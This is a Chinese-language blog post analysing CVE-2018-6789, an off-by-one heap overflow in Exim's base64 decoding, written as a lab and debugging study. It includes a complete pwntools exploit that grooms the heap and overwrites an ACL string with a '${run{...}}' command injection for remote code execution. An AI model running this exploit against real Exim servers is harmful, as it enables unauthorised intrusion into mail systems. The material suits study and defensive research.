CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

看到網上有關於這個漏洞的EXP和文章了,這兩天仔細調試分析之後覺得這個漏洞還是很有趣的,分享一下。

漏洞原理

來看一下github上的補丁[5]。

CVE-2018-6789 Exim Off-by-one漏洞分析

exim分配3*(len/4)+1個字節來存儲解碼後的數據。如果解碼前的數據有4n+3個字節,exim會分配3n+1個字節但是實際解碼後的數據有3n+2個字節,這就在堆上造成了一字節的溢出(off-by-one)。

基礎知識

exim有一套自己的內存管理系統。

exim中的store_free()和store_malloc()直接調用glibc中的malloc()和free()。glibc會在開頭使用0x10字節(x86-64)存儲一些信息,並且返回緊隨其後的數據區的地址。

CVE-2018-6789 Exim Off-by-one漏洞分析

開頭的0x10字節包括前一個chunk的大小、當前chunk的大小和一些標誌等信息。size的前三位用於存儲標誌。上圖0x81的意思是當前chunk的大小是0x80字節,並且前一個chunk在使用中。

在exim中使用的大部分已釋放的chunk被放入一個稱為unsorted bin的雙向鏈表。glibc根據標誌維護它,並將相鄰的已釋放chunk合併到一個更大的塊中以避免碎片化。對於每個分配請求,glibc都會以先進先出的順序檢查這些chunk並重新使用。

由於性能上的考慮,exim使用store_get(),store_release(),store_extend()和store_reset()維護自己的鏈表結構。

CVE-2018-6789 Exim Off-by-one漏洞分析

storeblock的主要特點是每個block至少有0x2000個字節並且storeblock也是chunk中的數據。在內存中如下圖所示。

CVE-2018-6789 Exim Off-by-one漏洞分析

下面是與堆分配有關的函數。

1.EHLO hostname:exim調用store_free()釋放舊的hostname,調用store_malloc()存儲新的hostname。

/* Discard any previous helo name */

if (sender_helo_name != NULL)

{

store_free(sender_helo_name);

sender_helo_name = NULL;

}

if (yield) sender_helo_name = string_copy_malloc(start);

return yield;

2.unknown command:exim調用store_get()分配一個緩衝區將具有不可打印字符的無法識別的命令轉換為可打印字符。

const uschar *

string_printing2(const uschar *s, BOOL allow_tab)

{

int nonprintcount = 0;

int length = 0;

const uschar *t = s;

uschar *ss, *tt;

while (*t != 0)

{

int c = *t++;

if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;

length++;

}

if (nonprintcount == 0) return s;

/* Get a new block of store guaranteed big enough to hold the

expanded string. */

ss = store_get(length + nonprintcount * 3 + 1);

3.EHLO/HELO,MAIL,RCPT中的reset:當命令正確完成時exim調用smtp_reset(),釋放上一個命令之後所有由store_get()分配的storeblock。

int

smtp_setup_msg(void)

{

int done = 0;

BOOL toomany = FALSE;

BOOL discarded = FALSE;

BOOL last_was_rej_mail = FALSE;

BOOL last_was_rcpt = FALSE;

void *reset_point = store_get(0);

DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");

/* Reset for start of new message. We allow one RSET not to be counted as a

nonmail command, for those MTAs that insist on sending it between every

message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of

TLS between messages (an Exim client may do this if it has messages queued up

for the host). Note: we do NOT reset AUTH at this point. */

smtp_reset(reset_point);

4.AUTH:在大多數身份驗證過程中,exim使用base64編碼與客戶端進行通信。編碼的和解碼的字符串存儲在一個store_get()分配的緩衝區中。

環境搭建

github上已經有現成的docker環境和EXP了[3],為了省事就直接用這個環境在docker裡面調試。

sudo docker run --cap-add=SYS_PTRACE -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789

--cap-add=SYS_PTRACE命令是因為docker的安全設置問題,為了能夠在docker內使用gdb調試,否則會提示ptrace:Operation not permitted。

CVE-2018-6789 Exim Off-by-one漏洞分析

接下來sudo docker ps看一下CONTAINER ID,sudo docker exec -i -t xxxxxx /bin/bash(xxxxxx是CONTAINER ID)進入docker,apt-get update之後apt-get install gdb再安裝gdb插件GEF。接下來需要修改原來的EXP。為了調試方便去掉多線程爆破繞過ASLR的部分,假定已經知道了acl_smtp_mail的地址(之後再詳細解釋),將IP硬編碼為127.0.0.1,在每一個步驟結束之後都添加raw_input使得程序停下方便我們在gdb中觀察等等。總之修改後的EXP如下。

#!/usr/bin/python

# -*- coding: utf-8 -*-

from pwn import *

import time

from base64 import b64encode

from threading import Thread

def ehlo(tube, who):

time.sleep(0.2)

tube.sendline("ehlo "+who)

tube.recv()

def docmd(tube, command):

time.sleep(0.2)

tube.sendline(command)

tube.recv()

def auth(tube, command):

time.sleep(0.2)

tube.sendline("AUTH CRAM-MD5")

tube.recv()

time.sleep(0.2)

tube.sendline(command)

tube.recv()

def execute_command():

global ip

ip = "127.0.0.1"

command="/usr/bin/touch /tmp/success"

context.log_level='warning'

s = remote(ip, 25)

# 1. put a huge chunk into unsorted bin

log.info("send ehlo")

ehlo(s, "a"*0x1000) # 0x2020

raw_input("after 0x1000")

ehlo(s, "a"*0x20)

raw_input("after 0x20")

# 2. cut the first storeblock by unknown command

log.info("send unknown command")

docmd(s, "\\xee"*0x700)

raw_input("after 0x700")

# 3. cut the second storeblock and release the first one

log.info("send ehlo again to cut storeblock")

ehlo(s, "c"*0x2c00)

raw_input("after 0x2c00")

# 4. send base64 data and trigger off-by-one

log.info("overwrite one byte of next chunk")

docmd(s, "AUTH CRAM-MD5")

payload1 = "d"*(0x2020+0x30-0x18-1)

docmd(s, b64encode(payload1)+"EfE")

raw_input("after payload1")

# 5. forge chunk size

log.info("forge chunk size")

docmd(s, "AUTH CRAM-MD5")

payload2 = 'm'*0x70+p64(0x1f41)

docmd(s, b64encode(payload2))

raw_input("after payload2")

# 6. release extended chunk

log.info("resend ehlo")

ehlo(s, "skysider+")

raw_input("after release extended chunk")

# 7. overwrite next pointer of overlapped storeblock

log.info("overwrite next pointer of overlapped storeblock")

docmd(s, "AUTH CRAM-MD5")

try_addr = 0xf59

payload3 = 'a'*0x2bf0 + p64(0x0) + p64(0x2021) + p8(0x80)+p64(try_addr*0x10+4)

try:

docmd(s, b64encode(payload3))

raw_input("after payload3")

# 8. reset storeblocks and retrive the ACL storeblock

log.info("reset storeblock")

ehlo(s, "crashed")

raw_input("after realease storeblock")

# 9. overwrite acl strings

log.info("overwrite acl strings")

payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)

payload4 += 't'*(0x1f80-len(payload4))

auth(s, b64encode(payload4)+'ee')

raw_input("after payload4")

payload5 = "a"*0x78 + "${run{" + command + "}}\\x00"

auth(s, b64encode(payload5)+"ee")

raw_input("after payload5")

# 10. trigger acl check

log.info("trigger acl check and execute command")

s.sendline("MAIL FROM: ")

s.close()

return 1

except:

s.close()

return 0

if __name__ == '__main__':

execute_command()

調試過程

1.ehlo 0x1000個字節

CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

2.ehlo 0x20個字節,上一次的0x1000個字節被釋放

CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

3.發送unknown command,分配一個新的storeblock

CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

4.ehlo 0x2c00個字節,回收unknown command分配的內存,由於之前的sender_host_name佔用的內存已經釋放,所以會空出0x30+0x2020=0×2050個字節

CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

5.AUTH,觸發Off-by-one,改掉chunk大小

CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

從2c10改成2cf1之後下一個chunk應該從0xf7a0e0+0x2cf0=0xf7cdd0開始,但是這裡現在是沒有數據的,所以下一步需要在這裡偽造數據。

6.AUTH,偽造chunk頭

CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

7.釋放這個被改掉大小的chunk

CVE-2018-6789 Exim Off-by-one漏洞分析

8.AUTH,改掉storeblock的next指針,令其指向acl字符串所在的storeblock

CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

這裡就要多解釋一下了,一組全局指針指向ACL字符串,如下所示。

uschar *acl_smtp_auth;

uschar *acl_smtp_data;

uschar *acl_smtp_etrn;

uschar *acl_smtp_expn;

uschar *acl_smtp_helo;

uschar *acl_smtp_mail;

uschar *acl_smtp_quit;

uschar *acl_smtp_rcpt;

這些指針在exim進程開始時初始化,根據配置進行設置。例如,如果配置中有acl_smtp_mail=acl_check_mail這一行,指針acl_smtp_mail指向字符串acl_check_mail。無論何時使用MAIL FROM,exim都會執行ACL檢查,嘗試在遇到${run{cmd}}時執行命令。因此只要控制ACL字符串,就可以實現代碼執行。因為不需要直接劫持程序控制流程,因此可以輕鬆地繞過諸如PIE、NX等緩解措施。在docker環境的配置文件中包含了acl_smtp_mail=acl_check_mail和acl_smtp_data=acl_check_data,因此這種方法是可行的。

x/18gx &acl_smtp_mail可以得到0xf59508這個地址,在EXP中硬編碼了try_addr=0xf59,所以經過計算將next指針覆蓋為0xf59480。在docker環境中也只是需要爆破這12位。

9.釋放storeblock之後包含acl的storeblock被回收到unsorted bin中

CVE-2018-6789 Exim Off-by-one漏洞分析

10.AUTH,payload4用來佔位,和上圖相比unsorted bin中少了兩個chunk,下一步就可以覆蓋0xf59480這個chunk

CVE-2018-6789 Exim Off-by-one漏洞分析

11.AUTH,payload5用來覆蓋acl字符串

CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

12.萬事俱備,觸發acl檢查,代碼執行,touch命令創建了/tmp/success文件

CVE-2018-6789 Exim Off-by-one漏洞分析

CVE-2018-6789 Exim Off-by-one漏洞分析

雖然漏洞發現者聲稱可以繞過ASLR,但並沒有公開EXP。在實際環境中還受到exim配置和版本等影響,完全通用較為困難。

1.Exim Off-by-one(CVE-2018-6789)漏洞復現分析

2.Exim Off-by-one RCE漏洞(CVE-2018-6789)利用分析(附EXP)

3.https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

4.Exim Off-by-one RCE: Exploiting CVE-2018-6789 with Fully Mitigations Bypassing

5. https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1

更多技術乾貨,請關注看雪學院公眾號:ikanxue!


分享到:


相關文章: